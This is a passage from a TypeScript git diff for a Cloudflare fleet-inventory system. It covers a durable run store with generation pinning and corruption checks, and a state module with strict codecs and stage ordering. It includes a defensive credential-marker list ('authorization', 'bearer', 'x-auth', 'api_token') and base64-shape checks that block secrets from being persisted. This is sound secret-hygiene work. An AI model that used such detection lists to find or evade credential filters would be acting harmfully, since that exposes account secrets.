`SELECT generation FROM ${PIN_TABLE} + WHERE account_id = ? AND generation = ?`, + [this.#accountId, generation], + ); + if (pins.length === 0) throw requiresPin(generation); + } + const { ref, record } = await this.#finalizedRef(generation); + const storedRows = await this.#db.query( + `SELECT kind, ordinal, payload FROM ${ROW_TABLE} + WHERE account_id = ? AND generation = ? + ORDER BY kind ASC, ordinal ASC`, + [this.#accountId, generation], + ); + const storedFacts = await this.#db.query( + `SELECT deployment_ordinal, fact_kind, fact_ordinal, payload + FROM ${FACT_TABLE} + WHERE account_id = ? AND generation = ? + ORDER BY deployment_ordinal ASC, fact_kind ASC, fact_ordinal ASC`, + [this.#accountId, generation], + ); + const rows = storedRows.map((row) => + fleetInventoryStagedRowFromUnknown({ + kind: rowText(row, 'kind'), + ordinal: rowInteger(row, 'ordinal'), + payload: JSON.parse(rowText(row, 'payload')), + }), + ); + const facts = storedFacts.map((row) => + fleetInventoryStagedFactFromUnknown({ + deploymentOrdinal: rowInteger(row, 'deployment_ordinal'), + factKind: rowText(row, 'fact_kind'), + factOrdinal: rowInteger(row, 'fact_ordinal'), + payload: JSON.parse(rowText(row, 'payload')), + }), + ); + // Defense in depth behind the in-SQL finalize guard: the live per-kind + // counts, their ordinal contiguity, and the fact count must still match the + // manifest the finalized run persisted. + const live = emptyFleetInventoryRowCounts() as Record< + FleetInventoryRowKind, + number + >; + for (const row of rows) live[row.kind] += 1; + if ( + !sameCounts(live, record.progress.stagedCounts) || + facts.length !== record.progress.factCount + ) { + throw corruptGeneration(generation); + } + for (const kind of FLEET_INVENTORY_ROW_KINDS) { + // Sorted locally so contiguity never depends on the SELECT's ORDER BY. + const ordinals = rows + .filter((row) => row.kind === kind) + .map((row) => row.ordinal) + .sort((left, right) => left - right); + if (ordinals.some((ordinal, index) => ordinal !== index)) { + throw corruptGeneration(generation); + } + } + return { ref, rows, facts }; + } + + async #finalizedRef(generation: number): Promise< + Readonly<{ + ref: FleetInventoryGenerationRef; + record: FleetInventoryRunRecord; + }> + > { + const rows = await this.#db.query( + `SELECT operation_id, run_record, finalized_at_ms FROM ${RUN_TABLE} + WHERE account_id = ? AND generation = ?`, + [this.#accountId, generation], + ); + const row = rows[0]; + if (!row) throw notFinalized(generation); + const finalizedAtMs = optionalInteger(row, 'finalized_at_ms'); + const record = fleetInventoryRunRecordFromUnknown( + JSON.parse(rowText(row, 'run_record')), + ); + if (record.state !== 'finalized' || finalizedAtMs === undefined) { + throw notFinalized(generation); + } + return { + ref: { + generation, + operationId: rowText(row, 'operation_id'), + finalizedAtMs, + rowManifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }, + record, + }; + } + + /** + * Acquires the account lease and pins a finalized generation. It is ONLY for + * callers that do not already hold the lease: inside a + * `withAccountInventoryLease` callback use `lease.pinGeneration`, because + * this wrapper would attempt a second acquisition of the same account lease + * and fail with the contention error. + */ + pinGeneration( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + return this.withAccountInventoryLease((lease) => + lease.pinGeneration(input), + ); + } + + /** + * Acquires the account lease and releases a pin. It is ONLY for callers that + * do not already hold the lease: inside a `withAccountInventoryLease` + * callback use `lease.releasePin`, because this wrapper would attempt a + * second acquisition of the same account lease and fail with the contention + * error. + */ + releasePin( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + return this.withAccountInventoryLease((lease) => lease.releasePin(input)); + } + + /** + * Acquires the account lease and prunes unpinned, non-latest generations. It + * is ONLY for callers that do not already hold the lease: inside a + * `withAccountInventoryLease` callback use + * `lease.pruneInventoryGenerations`, because this wrapper would attempt a + * second acquisition of the same account lease and fail with the contention + * error. + */ + pruneInventoryGenerations( + input: Readonly<{ limit: number }>, + ): Promise> { + return this.withAccountInventoryLease((lease) => + lease.pruneInventoryGenerations(input), + ); + } +} diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts new file mode 100644 index 00000000..94e9ea87 --- /dev/null +++ b/packages/fleet-control/src/fleet-inventory-state.ts @@ -0,0 +1,1010 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; + +/** Byte bound for one persisted inventory run record. */ +export const FLEET_INVENTORY_RUN_RECORD_BYTE_BOUND = 96 * 1024; +/** Byte bound for one bounded inventory continuation token. */ +export const FLEET_INVENTORY_TOKEN_BYTE_BOUND = 1024; +/** Byte bound for any single string inside persisted inventory state. */ +export const FLEET_INVENTORY_STRING_BYTE_BOUND = 4096; +/** Byte bound for one staged row or deployment fact payload. */ +export const FLEET_INVENTORY_STAGED_PAYLOAD_BYTE_BOUND = 16 * 1024; +/** + * Byte bound for every durable inventory string, matching Cloudflare's own KV + * key-name limit and staying well under the string bound. + */ +export const FLEET_INVENTORY_DURABLE_TEXT_BYTE_BOUND = 512; + +const DEPTH_BOUND = 64; +const NODE_BOUND = 8192; +const UUID_V4 = + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; +const SHA256 = /^[0-9a-f]{64}$/u; +const STRUCTURED_CLONE = structuredClone; +const CREDENTIAL_SUBSTRINGS: readonly string[] = Object.freeze([ + 'authorization', + 'bearer', + 'x-auth', + 'api_token', +]); +const PRINTABLE_NON_WHITESPACE = /^[^\s\p{C}]+$/u; +const BASE64_SHAPE = /^[A-Za-z0-9+/_-]+={0,2}$/u; +const BASE64_SHAPE_MIN_LENGTH = 32; + +/** Options accepted by `collectFleetInventory`, named for the bounded API. */ +export interface CollectFleetInventoryOptions { + readonly hostRoutingKvId?: string; + readonly databaseNamePrefix: string; + readonly scriptNamePrefix: string; + readonly includeDispatchNamespace?: boolean; + readonly includeR2Buckets?: boolean; +} + +/** Canonical inventory options after defaults resolve at run start. */ +export interface FleetInventoryRunOptions { + readonly hostRoutingKvId?: string; + readonly databaseNamePrefix: string; + readonly scriptNamePrefix: string; + readonly includeDispatchNamespace: boolean; + readonly includeR2Buckets: boolean; +} + +/** Bounded continuation token; it carries no account, options, or cursor. */ +export interface FleetInventoryRunToken { + readonly version: 1; + readonly operationId: string; + readonly revision: number; +} + +/** + * One bounded stage of an account inventory run, in provider encounter order. + * Ordinals address items inside a stage; cursors are provider resumption text. + */ +export type FleetInventoryStage = + | Readonly<{ step: 'host-kv-keys'; cursor?: string }> + | Readonly<{ step: 'host-kv-values'; keyOrdinal: number }> + | Readonly<{ step: 'dispatch-pages'; cursor?: string; pageOrdinal: number }> + | Readonly<{ step: 'registration-checks'; registrationOrdinal: number }> + | Readonly<{ step: 'registration-postprocess' }> + | Readonly<{ step: 'custom-domains' }> + | Readonly<{ step: 'zone-authority' }> + | Readonly<{ step: 'zone-routes'; zoneOrdinal: number }> + | Readonly<{ step: 'ordinary-scripts'; cursor?: string }> + | Readonly<{ step: 'ordinary-script-detail'; scriptOrdinal: number }> + | Readonly<{ step: 'route-claims' }> + | Readonly<{ step: 'd1-databases' }> + | Readonly<{ step: 'do-namespaces' }> + | Readonly<{ + step: 'r2-buckets'; + jurisdictionOrdinal: 0 | 1 | 2; + startAfter?: string; + }> + | Readonly<{ step: 'finalize' }>; + +/** The step discriminant of {@link FleetInventoryStage}. */ +export type FleetInventoryStageStep = FleetInventoryStage['step']; + +export type FleetInventoryRowKind = + | 'registration' + | 'deployment' + | 'finding' + | 'database-id' + | 'namespace-id' + | 'r2-bucket' + | 'route' + | 'dispatch-script' + | 'meta'; + +export type FleetInventoryDeploymentFactKind = + | 'database-id' + | 'durable-object-binding' + | 'service-binding' + | 'queue-producer-binding' + | 'kv-binding' + | 'r2-binding' + | 'secret-name' + | 'plain-text-binding' + | 'route-hostname' + | 'zone-route'; + +/** Every staged row kind, in manifest order. */ +export const FLEET_INVENTORY_ROW_KINDS: readonly FleetInventoryRowKind[] = + Object.freeze([ + 'registration', + 'deployment', + 'finding', + 'database-id', + 'namespace-id', + 'r2-bucket', + 'route', + 'dispatch-script', + 'meta', + ]); + +/** Every deployment fact kind. */ +export const FLEET_INVENTORY_DEPLOYMENT_FACT_KINDS: readonly FleetInventoryDeploymentFactKind[] = + Object.freeze([ + 'database-id', + 'durable-object-binding', + 'service-binding', + 'queue-producer-binding', + 'kv-binding', + 'r2-binding', + 'secret-name', + 'plain-text-binding', + 'route-hostname', + 'zone-route', + ]); + +/** Every inventory stage step, in provider encounter order. */ +export const FLEET_INVENTORY_STAGE_ORDER: readonly FleetInventoryStageStep[] = + Object.freeze([ + 'host-kv-keys', + 'host-kv-values', + 'dispatch-pages', + 'registration-checks', + 'registration-postprocess', + 'custom-domains', + 'zone-authority', + 'zone-routes', + 'ordinary-scripts', + 'ordinary-script-detail', + 'route-claims', + 'd1-databases', + 'do-namespaces', + 'r2-buckets', + 'finalize', + ]); + +interface StageShape { + readonly ordinal?: string; + readonly maxOrdinal?: number; + readonly text?: 'cursor' | 'startAfter'; +} + +const STAGE_SHAPES: Readonly> = + Object.freeze({ + 'host-kv-keys': { text: 'cursor' }, + 'host-kv-values': { ordinal: 'keyOrdinal' }, + 'dispatch-pages': { ordinal: 'pageOrdinal', text: 'cursor' }, + 'registration-checks': { ordinal: 'registrationOrdinal' }, + 'registration-postprocess': {}, + 'custom-domains': {}, + 'zone-authority': {}, + 'zone-routes': { ordinal: 'zoneOrdinal' }, + 'ordinary-scripts': { text: 'cursor' }, + 'ordinary-script-detail': { ordinal: 'scriptOrdinal' }, + 'route-claims': {}, + 'd1-databases': {}, + 'do-namespaces': {}, + 'r2-buckets': { + ordinal: 'jurisdictionOrdinal', + maxOrdinal: 2, + text: 'startAfter', + }, + finalize: {}, + }); + +export interface FleetInventoryRunProgress { + readonly stage: FleetInventoryStage; + readonly generation: number; + readonly revision: number; + readonly stagedCounts: Readonly>; + readonly factCount: number; + readonly lastPageDigest?: string; + readonly providerRequests: number; +} + +export interface FleetInventoryRunRecord { + readonly version: 1; + readonly operationId: string; + readonly optionsDigest: string; + readonly options: FleetInventoryRunOptions; + readonly state: 'staging' | 'finalized' | 'failed'; + readonly progress: FleetInventoryRunProgress; + readonly updatedAt: string; +} + +export interface FleetInventoryGenerationRef { + readonly generation: number; + readonly operationId: string; + readonly finalizedAtMs: number; + readonly rowManifest: Readonly>; + readonly factCount: number; +} + +export interface FleetInventoryStagedRow { + readonly kind: FleetInventoryRowKind; + readonly ordinal: number; + readonly payload: Readonly>; +} + +export interface FleetInventoryStagedFact { + readonly deploymentOrdinal: number; + readonly factKind: FleetInventoryDeploymentFactKind; + readonly factOrdinal: number; + readonly payload: Readonly>; +} + +/** One bounded provider stage chunk request. */ +export interface FleetInventoryStageInput { + readonly stage: FleetInventoryStage; + readonly options: FleetInventoryRunOptions; + readonly progress: FleetInventoryRunProgress; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; +} + +/** One bounded provider stage chunk result; it contains no D1 knowledge. */ +export interface FleetInventoryStageResult { + readonly rows: readonly FleetInventoryStagedRow[]; + readonly facts: readonly FleetInventoryStagedFact[]; + readonly nextStage: FleetInventoryStage; + readonly pageDigest?: string; + readonly providerRequests: number; + /** Call-local sanitized provider diagnostics; NEVER persisted. */ + readonly diagnostics: readonly string[]; +} + +/** Injected provider port; the only provider seam the coordinator sees. */ +export interface FleetInventoryProviderContext { + advanceStage( + input: FleetInventoryStageInput, + ): Promise; +} + +export type FleetInventoryFailureReason = + | 'cursor-drift' + | 'provider-bound-exceeded' + | 'operator-abandoned'; + +/** Every inventory run failure reason. */ +export const FLEET_INVENTORY_FAILURE_REASONS: readonly FleetInventoryFailureReason[] = + Object.freeze([ + 'cursor-drift', + 'provider-bound-exceeded', + 'operator-abandoned', + ]); + +/** Materialization source for one finalized generation. */ +export interface FleetInventoryGeneration { + readonly ref: FleetInventoryGenerationRef; + readonly rows: readonly FleetInventoryStagedRow[]; + readonly facts: readonly FleetInventoryStagedFact[]; +} + +/** + * Lease-scoped inventory mutations. Every member serializes under the one + * account lease that produced it, including pin, release, and prune. + */ +export interface FleetInventoryLease { + assertOwned(): Promise; + startRun( + input: Readonly<{ + operationId: string; + options: FleetInventoryRunOptions; + optionsDigest: string; + }>, + ): Promise; + readRun(operationId: string): Promise; + commitChunk( + input: Readonly<{ + operationId: string; + expectedRevision: number; + runRecord: FleetInventoryRunRecord; + rows: readonly FleetInventoryStagedRow[]; + facts: readonly FleetInventoryStagedFact[]; + }>, + ): Promise; + finalizeRun( + input: Readonly<{ + operationId: string; + expectedRevision: number; + manifest: Readonly>; + factCount: number; + }>, + ): Promise; + failRun( + input: Readonly<{ + operationId: string; + expectedRevision: number; + reason: FleetInventoryFailureReason; + }>, + ): Promise; + pinGeneration( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise; + releasePin( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise; + pruneInventoryGenerations( + input: Readonly<{ limit: number }>, + ): Promise>; +} + +/** Durable run-store port consumed by the bounded inventory coordinator. */ +export interface FleetInventoryRunStore { + withAccountInventoryLease( + operation: (lease: FleetInventoryLease) => Promise, + ): Promise; + readFinalizedGeneration( + generation: number, + ): Promise; + latestFinalizedGeneration(): Promise; + readRunByOperation( + operationId: string, + ): Promise; + pinGeneration( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise; + releasePin( + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise; + pruneInventoryGenerations( + input: Readonly<{ limit: number }>, + ): Promise>; +} + +/** Fixed refusal shared by both durable-text controls. */ +export class InventoryFindingValueError extends Error { + constructor(readonly field: string) { + super(`inventory finding value for '${field}' is not durable-safe`); + this.name = 'InventoryFindingValueError'; + } +} + +export class FleetInventoryStateError extends Error { + constructor() { + super('fleet inventory state is malformed'); + this.name = 'FleetInventoryStateError'; + } +} + +export class FleetInventoryRunTokenError extends Error { + constructor() { + super('fleet inventory run token is malformed'); + this.name = 'FleetInventoryRunTokenError'; + } +} + +export class FleetInventoryRunTokenOperationError extends Error { + constructor(readonly operationId: string) { + super(`no fleet inventory run for operation '${operationId}'`); + this.name = 'FleetInventoryRunTokenOperationError'; + } +} + +export class FleetInventoryRunTokenFutureError extends Error { + constructor() { + super('fleet inventory run token is ahead of the persisted run'); + this.name = 'FleetInventoryRunTokenFutureError'; + } +} + +function malformed(): never { + throw new FleetInventoryStateError(); +} + +function utf8Length(value: string): number { + return new TextEncoder().encode(value).byteLength; +} + +function plainRecord(value: unknown): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return malformed(); + } + return value as Record; +} + +function exactKeys( + value: Record, + required: readonly string[], + optional: readonly string[] = [], +): void { + const keys = Object.keys(value).sort(); + const allowed = new Set([...required, ...optional]); + if ( + !required.every((key) => Object.hasOwn(value, key)) || + keys.some((key) => !allowed.has(key)) + ) { + malformed(); + } +} + +function boundedString(value: unknown): value is string { + return ( + typeof value === 'string' && + value.length > 0 && + utf8Length(value) <= FLEET_INVENTORY_STRING_BYTE_BOUND + ); +} + +function safeIntegerAtLeast(value: unknown, minimum = 0): value is number { + return Number.isSafeInteger(value) && Number(value) >= minimum; +} + +function canonicalIso(value: unknown): value is string { + return ( + typeof value === 'string' && + Number.isFinite(Date.parse(value)) && + new Date(value).toISOString() === value + ); +} + +function sha256Hex(value: string): string { + return createHash('sha256').update(value).digest('hex'); +} + +/** + * Credential and length hygiene for EVERY durable inventory string, including + * provider resumption cursors, which are legitimately opaque and therefore + * never face a name grammar. + */ +export function assertNoCredentialInInventoryText( + value: string, + field: string, +): void { + if ( + typeof value !== 'string' || + utf8Length(value) > FLEET_INVENTORY_DURABLE_TEXT_BYTE_BOUND + ) { + throw new InventoryFindingValueError(field); + } + const lowered = value.toLowerCase(); + if (CREDENTIAL_SUBSTRINGS.some((marker) => lowered.includes(marker))) { + throw new InventoryFindingValueError(field); + } +} + +/** + * Validator for every value interpolated into a durable finding detail except + * the raw host-routing KV key name: the credential control plus the + * printable/non-whitespace rule. It deliberately omits the KV-only base64 + * shape rule so a long dotless script name or dispatch namespace is accepted. + * Hostnames are normalized to ASCII by the caller before validation. + */ +export function assertInventoryFindingValue( + value: string, + field: string, +): void { + assertNoCredentialInInventoryText(value, field); + if (!PRINTABLE_NON_WHITESPACE.test(value)) { + throw new InventoryFindingValueError(field); + } +} + +/** + * Non-throwing shape predicate used ONLY for the raw host-routing KV key name: + * true when the value is printable, non-whitespace, and not base64 or + * high-entropy shaped. Credential and length refusals are not part of this + * predicate; that site asserts them first and only then consults this shape. + */ +export function isInventoryKeyNameShape(value: string): boolean { + if (typeof value !== 'string' || !PRINTABLE_NON_WHITESPACE.test(value)) { + return false; + } + return !( + value.length >= BASE64_SHAPE_MIN_LENGTH && + BASE64_SHAPE.test(value) && + !value.includes('.') + ); +} + +/** Zeroed staged-row counts, one entry per row kind. */ +export function emptyFleetInventoryRowCounts(): Readonly< + Record +> { + const counts = {} as Record; + for (const kind of FLEET_INVENTORY_ROW_KINDS) counts[kind] = 0; + return counts; +} + +/** + * Canonicalizes caller options, resolving both defaults at start and refusing + * missing prefixes with today's `collectFleetInventory` message. An empty + * `hostRoutingKvId` is absent, matching the truthiness check the drain uses. + */ +export function canonicalFleetInventoryRunOptions( + options: CollectFleetInventoryOptions, +): FleetInventoryRunOptions { + const candidate = plainRecord(options); + exactKeys( + candidate, + ['databaseNamePrefix', 'scriptNamePrefix'], + ['hostRoutingKvId', 'includeDispatchNamespace', 'includeR2Buckets'], + ); + if (!candidate.databaseNamePrefix || !candidate.scriptNamePrefix) { + throw new Error( + 'databaseNamePrefix and scriptNamePrefix are required for fleet inventory', + ); + } + if ( + typeof candidate.databaseNamePrefix !== 'string' || + typeof candidate.scriptNamePrefix !== 'string' || + (candidate.hostRoutingKvId !== undefined && + typeof candidate.hostRoutingKvId !== 'string') || + (candidate.includeDispatchNamespace !== undefined && + typeof candidate.includeDispatchNamespace !== 'boolean') || + (candidate.includeR2Buckets !== undefined && + typeof candidate.includeR2Buckets !== 'boolean') + ) { + return malformed(); + } + const hostRoutingKvId = candidate.hostRoutingKvId + ? candidate.hostRoutingKvId + : undefined; + assertNoCredentialInInventoryText( + candidate.databaseNamePrefix, + 'databaseNamePrefix', + ); + assertNoCredentialInInventoryText( + candidate.scriptNamePrefix, + 'scriptNamePrefix', + ); + if (hostRoutingKvId !== undefined) { + assertNoCredentialInInventoryText(hostRoutingKvId, 'hostRoutingKvId'); + } + return { + ...(hostRoutingKvId === undefined ? {} : { hostRoutingKvId }), + databaseNamePrefix: candidate.databaseNamePrefix, + scriptNamePrefix: candidate.scriptNamePrefix, + includeDispatchNamespace: + candidate.includeDispatchNamespace ?? hostRoutingKvId !== undefined, + includeR2Buckets: candidate.includeR2Buckets ?? false, + }; +} + +/** Digest over the canonical options, stable under caller key order. */ +export function fleetInventoryOptionsDigest( + options: FleetInventoryRunOptions, +): string { + const canonical = fleetInventoryRunOptionsFromUnknown(options); + const entries = Object.entries(canonical).sort(([left], [right]) => + left < right ? -1 : 1, + ); + return sha256Hex(JSON.stringify(entries)); +} + +function fleetInventoryRunOptionsFromUnknown( + value: unknown, +): FleetInventoryRunOptions { + const candidate = plainRecord(value); + exactKeys( + candidate, + [ + 'databaseNamePrefix', + 'scriptNamePrefix', + 'includeDispatchNamespace', + 'includeR2Buckets', + ], + ['hostRoutingKvId'], + ); + if ( + !boundedString(candidate.databaseNamePrefix) || + !boundedString(candidate.scriptNamePrefix) || + (candidate.hostRoutingKvId !== undefined && + !boundedString(candidate.hostRoutingKvId)) || + typeof candidate.includeDispatchNamespace !== 'boolean' || + typeof candidate.includeR2Buckets !== 'boolean' + ) { + return malformed(); + } + assertNoCredentialInInventoryText( + candidate.databaseNamePrefix, + 'databaseNamePrefix', + ); + assertNoCredentialInInventoryText( + candidate.scriptNamePrefix, + 'scriptNamePrefix', + ); + if (candidate.hostRoutingKvId !== undefined) { + assertNoCredentialInInventoryText( + candidate.hostRoutingKvId, + 'hostRoutingKvId', + ); + } + return { + ...(candidate.hostRoutingKvId === undefined + ? {} + : { hostRoutingKvId: candidate.hostRoutingKvId }), + databaseNamePrefix: candidate.databaseNamePrefix, + scriptNamePrefix: candidate.scriptNamePrefix, + includeDispatchNamespace: candidate.includeDispatchNamespace, + includeR2Buckets: candidate.includeR2Buckets, + }; +} + +function stageStep(value: unknown): FleetInventoryStageStep { + if ( + typeof value !== 'string' || + !FLEET_INVENTORY_STAGE_ORDER.includes(value as FleetInventoryStageStep) + ) { + return malformed(); + } + return value as FleetInventoryStageStep; +} + +/** Strict stage codec; ordinals and resumption cursors are bounded. */ +export function fleetInventoryStageFromUnknown( + value: unknown, +): FleetInventoryStage { + const candidate = plainRecord(value); + const step = stageStep(candidate.step); + const shape = STAGE_SHAPES[step]; + exactKeys( + candidate, + ['step', ...(shape.ordinal ? [shape.ordinal] : [])], + shape.text ? [shape.text] : [], + ); + const ordinal = shape.ordinal ? candidate[shape.ordinal] : undefined; + if ( + shape.ordinal && + (!safeIntegerAtLeast(ordinal) || + (shape.maxOrdinal !== undefined && ordinal > shape.maxOrdinal)) + ) { + return malformed(); + } + const text = shape.text ? candidate[shape.text] : undefined; + if (text !== undefined) { + if (!boundedString(text)) return malformed(); + // The cursor carve-out: resumption text is opaque, so it faces the + // credential control only, never the finding-detail grammar. + assertNoCredentialInInventoryText(text, `stage.${String(shape.text)}`); + } + // The validated candidate keys are exactly one union member's keys. + return { + step, + ...(shape.ordinal ? { [shape.ordinal]: ordinal } : {}), + ...(shape.text && text !== undefined ? { [shape.text]: text } : {}), + } as FleetInventoryStage; +} + +function stageEnabled( + step: FleetInventoryStageStep, + options: FleetInventoryRunOptions, + counts: Readonly>, +): boolean { + // `includeDispatchNamespace` deliberately gates NO stage: it only skips the + // namespace attestation INSIDE `registration-postprocess`, which is the + // provider engine's work, so the stage itself is still entered. + const hostRouting = options.hostRoutingKvId !== undefined; + switch (step) { + case 'host-kv-keys': + case 'dispatch-pages': + case 'registration-postprocess': + return hostRouting; + case 'host-kv-values': + case 'registration-checks': + return hostRouting && counts.registration > 0; + case 'zone-routes': + return counts.meta > 0; + case 'ordinary-script-detail': + return counts.deployment > 0; + case 'r2-buckets': + return options.includeR2Buckets; + default: + return true; + } +} + +function stageEntry(step: FleetInventoryStageStep): FleetInventoryStage { + const shape = STAGE_SHAPES[step]; + // Entering a stage always starts at its first item. + return { + step, + ...(shape.ordinal ? { [shape.ordinal]: 0 } : {}), + } as FleetInventoryStage; +} + +/** + * Pure stage successor: no provider or D1 input. Stage skipping uses the same + * conditions as the single-pass drain, read from the canonical options and the + * staged-row counts that feed the per-item stages. Intra-stage ordinal and + * cursor advancement belongs to the provider engine, not to this successor. + */ +export function nextStage( + stage: FleetInventoryStage, + options: FleetInventoryRunOptions, + counts: Readonly>, +): FleetInventoryStage { + const current = fleetInventoryStageFromUnknown(stage); + const canonicalOptions = fleetInventoryRunOptionsFromUnknown(options); + const canonicalCounts = rowCountsFromUnknown(counts); + if (current.step === 'finalize') return { step: 'finalize' }; + for ( + let index = FLEET_INVENTORY_STAGE_ORDER.indexOf(current.step) + 1; + index < FLEET_INVENTORY_STAGE_ORDER.length; + index += 1 + ) { + const step = FLEET_INVENTORY_STAGE_ORDER[index]; + if (step && stageEnabled(step, canonicalOptions, canonicalCounts)) { + return stageEntry(step); + } + } + return { step: 'finalize' }; +} + +/** The first enabled stage for a run that has staged nothing yet. */ +export function initialFleetInventoryStage( + options: FleetInventoryRunOptions, +): FleetInventoryStage { + const canonicalOptions = fleetInventoryRunOptionsFromUnknown(options); + const counts = emptyFleetInventoryRowCounts(); + for (const step of FLEET_INVENTORY_STAGE_ORDER) { + if (stageEnabled(step, canonicalOptions, counts)) return stageEntry(step); + } + return { step: 'finalize' }; +} + +function rowCountsFromUnknown( + value: unknown, +): Readonly> { + const candidate = plainRecord(value); + exactKeys(candidate, FLEET_INVENTORY_ROW_KINDS); + const counts = {} as Record; + for (const kind of FLEET_INVENTORY_ROW_KINDS) { + const count = candidate[kind]; + if (!safeIntegerAtLeast(count)) return malformed(); + counts[kind] = count; + } + return counts; +} + +function progressFromUnknown(value: unknown): FleetInventoryRunProgress { + const candidate = plainRecord(value); + exactKeys( + candidate, + [ + 'stage', + 'generation', + 'revision', + 'stagedCounts', + 'factCount', + 'providerRequests', + ], + ['lastPageDigest'], + ); + if ( + !safeIntegerAtLeast(candidate.generation, 1) || + !safeIntegerAtLeast(candidate.revision) || + !safeIntegerAtLeast(candidate.factCount) || + !safeIntegerAtLeast(candidate.providerRequests) || + (candidate.lastPageDigest !== undefined && + (typeof candidate.lastPageDigest !== 'string' || + !SHA256.test(candidate.lastPageDigest))) + ) { + return malformed(); + } + return { + stage: fleetInventoryStageFromUnknown(candidate.stage), + generation: candidate.generation, + revision: candidate.revision, + stagedCounts: rowCountsFromUnknown(candidate.stagedCounts), + factCount: candidate.factCount, + ...(candidate.lastPageDigest === undefined + ? {} + : { lastPageDigest: candidate.lastPageDigest }), + providerRequests: candidate.providerRequests, + }; +} + +function boundedPlain(value: unknown, maxBytes: number): unknown { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: DEPTH_BOUND, + maxNodes: NODE_BOUND, + maxScalarBytes: maxBytes, + maxSerializedBytes: maxBytes, + error: () => new FleetInventoryStateError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + return malformed(); + } + return plain; +} + +/** Strict run-record codec; every bound fails closed and never truncates. */ +export function fleetInventoryRunRecordFromUnknown( + value: unknown, +): FleetInventoryRunRecord { + const candidate = plainRecord( + boundedPlain(value, FLEET_INVENTORY_RUN_RECORD_BYTE_BOUND), + ); + exactKeys(candidate, [ + 'version', + 'operationId', + 'optionsDigest', + 'options', + 'state', + 'progress', + 'updatedAt', + ]); + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + typeof candidate.optionsDigest !== 'string' || + !SHA256.test(candidate.optionsDigest) || + (candidate.state !== 'staging' && + candidate.state !== 'finalized' && + candidate.state !== 'failed') || + !canonicalIso(candidate.updatedAt) + ) { + return malformed(); + } + const options = fleetInventoryRunOptionsFromUnknown(candidate.options); + if (fleetInventoryOptionsDigest(options) !== candidate.optionsDigest) { + return malformed(); + } + return { + version: 1, + operationId: candidate.operationId, + optionsDigest: candidate.optionsDigest, + options, + state: candidate.state, + progress: progressFromUnknown(candidate.progress), + updatedAt: candidate.updatedAt, + }; +} + +function payloadFromUnknown( + value: unknown, + field: string, +): Readonly> { + const payload = plainRecord( + boundedPlain(value, FLEET_INVENTORY_STAGED_PAYLOAD_BYTE_BOUND), + ); + for (const [key, entry] of Object.entries(payload)) { + assertNoCredentialInInventoryText(key, `${field}.key`); + if (typeof entry === 'string') { + assertNoCredentialInInventoryText(entry, `${field}.${key}`); + } + } + return { ...payload }; +} + +/** Strict staged-row codec with an exact-key table and a bounded payload. */ +export function fleetInventoryStagedRowFromUnknown( + value: unknown, +): FleetInventoryStagedRow { + const candidate = plainRecord(value); + exactKeys(candidate, ['kind', 'ordinal', 'payload']); + if ( + typeof candidate.kind !== 'string' || + !FLEET_INVENTORY_ROW_KINDS.includes( + candidate.kind as FleetInventoryRowKind, + ) || + !safeIntegerAtLeast(candidate.ordinal) + ) { + return malformed(); + } + return { + kind: candidate.kind as FleetInventoryRowKind, + ordinal: candidate.ordinal, + payload: payloadFromUnknown(candidate.payload, 'row.payload'), + }; +} + +/** Strict deployment-fact codec with an exact-key table. */ +export function fleetInventoryStagedFactFromUnknown( + value: unknown, +): FleetInventoryStagedFact { + const candidate = plainRecord(value); + exactKeys(candidate, [ + 'deploymentOrdinal', + 'factKind', + 'factOrdinal', + 'payload', + ]); + if ( + !safeIntegerAtLeast(candidate.deploymentOrdinal) || + typeof candidate.factKind !== 'string' || + !FLEET_INVENTORY_DEPLOYMENT_FACT_KINDS.includes( + candidate.factKind as FleetInventoryDeploymentFactKind, + ) || + !safeIntegerAtLeast(candidate.factOrdinal) + ) { + return malformed(); + } + return { + deploymentOrdinal: candidate.deploymentOrdinal, + factKind: candidate.factKind as FleetInventoryDeploymentFactKind, + factOrdinal: candidate.factOrdinal, + payload: payloadFromUnknown(candidate.payload, 'fact.payload'), + }; +} + +/** Strict generation-reference codec; the manifest carries every row kind. */ +export function fleetInventoryGenerationRefFromUnknown( + value: unknown, +): FleetInventoryGenerationRef { + const candidate = plainRecord(value); + exactKeys(candidate, [ + 'generation', + 'operationId', + 'finalizedAtMs', + 'rowManifest', + 'factCount', + ]); + if ( + !safeIntegerAtLeast(candidate.generation, 1) || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !safeIntegerAtLeast(candidate.finalizedAtMs) || + !safeIntegerAtLeast(candidate.factCount) + ) { + return malformed(); + } + return { + generation: candidate.generation, + operationId: candidate.operationId, + finalizedAtMs: candidate.finalizedAtMs, + rowManifest: rowCountsFromUnknown(candidate.rowManifest), + factCount: candidate.factCount, + }; +} + +/** Strict token codec; the token carries nothing but version and position. */ +export function parseFleetInventoryRunToken( + value: unknown, +): FleetInventoryRunToken { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: 4, + maxNodes: 16, + maxScalarBytes: FLEET_INVENTORY_TOKEN_BYTE_BOUND, + maxSerializedBytes: FLEET_INVENTORY_TOKEN_BYTE_BOUND, + error: () => new FleetInventoryRunTokenError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw new FleetInventoryRunTokenError(); + } + let candidate: Record; + try { + candidate = plainRecord(plain); + exactKeys(candidate, ['version', 'operationId', 'revision']); + } catch { + throw new FleetInventoryRunTokenError(); + } + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + 